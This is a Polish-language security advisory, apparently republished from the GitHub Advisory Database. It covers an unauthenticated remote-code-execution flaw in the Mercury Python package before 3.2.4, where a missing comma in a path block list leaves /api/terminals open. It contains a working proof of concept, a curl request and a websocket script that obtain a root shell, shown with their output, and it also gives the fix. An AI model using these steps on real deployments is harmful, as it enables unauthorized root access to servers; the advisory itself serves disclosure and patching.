Mercury: Nieuwierzytelnione zdalne wykonanie kodu w /api/terminals - obejście kontroli dostępu
Podsumowanie
Brakujący przecinek na liście BLOCKED_PATTERNS w mercury_app/block_handler.py powoduje, że reguły blokowania nie obejmują punktu końcowego /api/terminals. W rezultacie nieuwierzytelniony atakujący może uruchomić pełną, interaktywną powłokę na poziomie systemu operacyjnego na hoście, na którym działa Mercury.
Szczegóły
Lista blokowanych ścieżek w mercury_app/block_handler.py jest zdefiniowana w następujący sposób:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
Brakujący przecinek między pierwszą a drugą linią powoduje połączenie tych reguł przez Pythona. W efekcie rzeczywista lista blokad wygląda tak:
/lab...(?:/.*)?/api/terminals(?:/.*)? (pierwsze dwie linie połączone ze sobą)
/api/shutdown(?:/.*)?
/files(?:/.*)?
Bezpośrednie żądanie skierowane do /api/terminals nie pasuje do żadnej z reguł listy blokowania w 3 i dlatego nie jest blokowane. Trafia ono do wbudowanego w Jupyter Server API terminala, które uruchamia powłokę systemową dostępną przez połączenie WebSocket. Do przeprowadzenia ataku nie jest wymagane uwierzytelnienie, konto, sesja ani żaden wcześniejszy dostęp do aplikacji Mercury.
PoC
Testy przeprowadzono na lokalnym wdrożeniu Dockera (https://runmercury.com/deploy/dockerfile/), Mercury w wersji 3.2.3, domyślna konfiguracja).
Krok 1 - uruchomienie terminala:
curl -i -X POST http://localhost:8888/api/terminals
Odpowiedź: {"name": "1", "last_activity": "..."}
Krok 2 - nawiązanie połączenia z terminalem i wykonywanie poleceń:
python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
while True:
print(ws.recv())
except Exception:
pass
"
Zaobserwowany wynik:
["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]
Potwierdza to pełny, interaktywny dostęp do powłoki roota bez jakiegokolwiek uwierzytelnienia lub uprzedniego dostępu.
Wpływ
- Poufność: pełny dostęp do odczytu dowolnego pliku, do którego proces Mercury ma dostęp (notatniki, przesłane dane, zmienne środowiskowe, poświadczenia/tajemnice).
- Integralność: atakujący może modyfikować lub usuwać dowolne pliki, w tym notatniki udostępniane innym użytkownikom.
- Dostępność: atakujący może wyłączyć lub doprowadzić do awarii serwera/kontenera.
- Ruch boczny (lateral movement): uzyskana powłoka może posłużyć jako przyczółek do atakowania innych systemów dostępnych w sieci hosta.
Podatność może zostać wykorzystana przez dowolnego klienta sieciowego, który ma dostęp do serwera Mercury, w tym z poziomu publicznego Internetu, jeśli usługa została wdrożona bez dodatkowych mechanizmów kontroli dostępu (VPN, uwierzytelnianie na reverse-proxy, firewall).
Poprawka
Dodanie brakującego przecinka, tak aby /api/terminals stanowiło niezależną regułę na liście blokad:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
Co trzeba zrobić
Zaktualizuj pakiet Mercury do wersji 3.2.4 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | mercury | >= 3.0.0, < 3.2.4 | 3.2.4 |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Słabość (CWE)
CWE-185, CWE-284- Platforma
- Python (PyPI)
- Paczka
mercury- Ujawniono
- 19.10.2026
- Aktualizacja
- 20.10.2026 09:54
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-f8c7-rwf9-fmgm - CC BY 4.0
Historia podatności: mercury
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 2
- Pierwsza → ostatnia
- 10.2026 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 2
Ujawnienia w latach
- 2026: 2
-
Mercury: Nieuwierzytelnione zdalne wykonanie kodu w /api/terminals - obejście kontroli dostępu ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.